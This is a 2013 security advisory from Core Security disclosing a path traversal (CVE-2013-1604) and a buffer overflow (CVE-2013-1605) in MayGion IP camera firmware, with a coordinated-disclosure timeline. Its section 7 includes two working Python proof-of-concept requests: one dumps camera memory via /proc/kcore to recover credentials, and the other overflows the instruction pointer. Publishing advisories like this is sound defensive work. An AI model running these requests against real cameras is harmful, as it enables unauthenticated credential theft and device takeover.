MayGion IP Camera Path Traversal / Buffer Overflow

`Core Security - Corelabs Advisory  
http://corelabs.coresecurity.com/  
  
MayGion IP Cameras multiple vulnerabilities  
  
1. *Advisory Information*  
  
Title: MayGion IP Cameras multiple vulnerabilities  
Advisory ID: CORE-2013-0322  
Advisory URL:  
http://www.coresecurity.com/advisories/maygion-IP-cameras-multiple-vulnerabilities  
Date published: 2013-05-28  
Date of last update: 2013-05-28  
Vendors contacted: MayGion  
Release mode: Coordinated release  
  
2. *Vulnerability Information*  
  
Class: Path traversal [CWE-22], Buffer overflow [CWE-119]  
Impact: Code execution, Security bypass  
Remotely Exploitable: Yes  
Locally Exploitable: No  
CVE Name: CVE-2013-1604, CVE-2013-1605  
  
3. *Vulnerability Description*  
  
Multiple vulnerabilities have been found in MayGion IP cameras [1] based  
on firmware v09.27 and below, that could allow an unauthenticated remote  
attacker:  
  
1. [CVE-2013-1604] to dump the camera's memory and retrieve user  
credentials,  
2. [CVE-2013-1605] to execute arbitrary code.  
  
4. *Vulnerable Packages*  
  
. MayGion IP cameras based on firmware 2011.27.09.  
. Other firmware versions are probably affected too but they were not  
checked.  
  
5. *Non-Vulnerable Packages*  
  
. H.264 ipcam firmware 2013.04.22.  
  
6. *Credits*  
  
These vulnerabilities were discovered and researched by Nahuel Riva and  
Francisco Falcon from Core Exploit Writers Team.  
  
7. *Technical Description / Proof of Concept Code*  
  
7.1. *User Credentials Leaked via Path Traversal*  
  
[CVE-2013-1604] The following Python code exploits a path traversal and  
dumps the camera's memory. Valid user credentials can be extracted from  
this memory dump by an unauthenticated remote attacker.  
  
/-----  
import httplib  
  
conn = httplib.HTTPConnection("192.168.100.1")  
conn.request("GET", "/../../../../../../../../../proc/kcore")  
resp = conn.getresponse()  
data = resp.read()  
conn.close()  
-----/  
  
7.2. *Buffer overflow*  
  
[CVE-2013-1605] The following Python script can be used to trigger the  
vulnerability without authentication. As a result, the Instruction  
Pointer register (IP) will be overwritten with 0x61616161, which is a  
typical buffer overrun condition.  
  
/-----  
import httplib  
  
conn = httplib.HTTPConnection("192.168.100.1")  
conn.request("GET", "/" + "A" * 3000 + ".html")  
resp = conn.getresponse()  
data = resp.read()  
conn.close()  
-----/  
  
8. *Report Timeline*  
  
. 2013-05-02:  
Core Security Technologies notifies MayGion of the vulnerabilities.  
Publication date is set for May 29th, 2013.  
  
. 2013-05-02:  
Vendor asks for a report with technical information.  
  
. 2013-05-03:  
A draft advisory containing technical details sent to MayGion team.  
  
. 2013-05-03:  
Vendor notifies that all vulnerabilities were fixed in the last firmware  
version, released April 22nd, 2013.  
  
. 2013-05-09:  
Core asks for a list of affected devices and firmware. No reply received.  
  
. 2013-05-28:  
Advisory CORE-2013-0322 is published.  
  
9. *References*  
  
[1] http://www.maygion.com  
  
10. *About CoreLabs*  
  
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12. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2013 Core Security  
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative  
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)  
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/  
  
13. *PGP/GPG Keys*  
  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
  
  
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